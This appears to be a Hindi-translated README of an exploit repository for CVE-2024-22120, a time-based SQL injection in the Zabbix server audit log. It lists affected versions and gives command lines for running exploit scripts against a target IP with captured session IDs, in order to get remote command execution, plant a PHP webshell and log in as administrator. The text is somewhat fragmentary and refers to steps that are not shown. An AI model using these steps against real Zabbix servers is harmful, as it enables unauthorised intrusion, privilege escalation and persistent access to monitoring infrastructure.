w01fh4cker/cve-2024-22120-rceZabbix सर्वर ऑडिट लॉग में समय-आधारित SQL इंजेक्शन --> RCE
6.0.0 - 6.0.27
6.4.0 - 6.4.12
7.0.0alpha1
https://packetstormsecurity.com/files/137454/Zabbix-3.0.3-Remote-Command-Execution.html
कम-विशेषाधिकार वाला उपयोगकर्ता
स्क्रिप्ट निष्पादित करने की अनुमति हो
sessionid और hostid प्राप्त करने के लिए पैकेट कैप्चर करें:
python -m pip install requests pwntools
python CVE-2024-22120-RCE.py --ip 192.168.198.136 --sid f026d1c7a3c36537cfe78fed35c7456a --hostid 10084
यदि आपके पास पहले से Administrator विशेषाधिकार वाले उपयोगकर्ता का session ID है, तो प्रयास करें:
python CVE-2024-22120-Webshell.py --ip 192.168.198.136 --aid fe647173d7769d55a43f161a68b256e0 --hostid 10084 --file shell.php
अन्यथा:
python CVE-2024-22120-Webshell.py --ip 192.168.198.136 --sid f026d1c7a3c36537cfe78fed35c7456a --hostid 10084 --shell shell.php
लेकिन अधिकांश मामलों में echo के माध्यम से webshell नहीं लिखा जा सकता, क्योंकि निष्पादन उपयोगकर्ता zabbix है:
python CVE-2024-22120-LoginAsAdmin.py --ip 192.168.198.136 --sid decf4ef56988027d62ca1db2a00d8346 --hostid 10084
परीक्षण:
बदलें फिर रीफ़्रेश करें:
admin के रूप में लॉगिन करें!!!
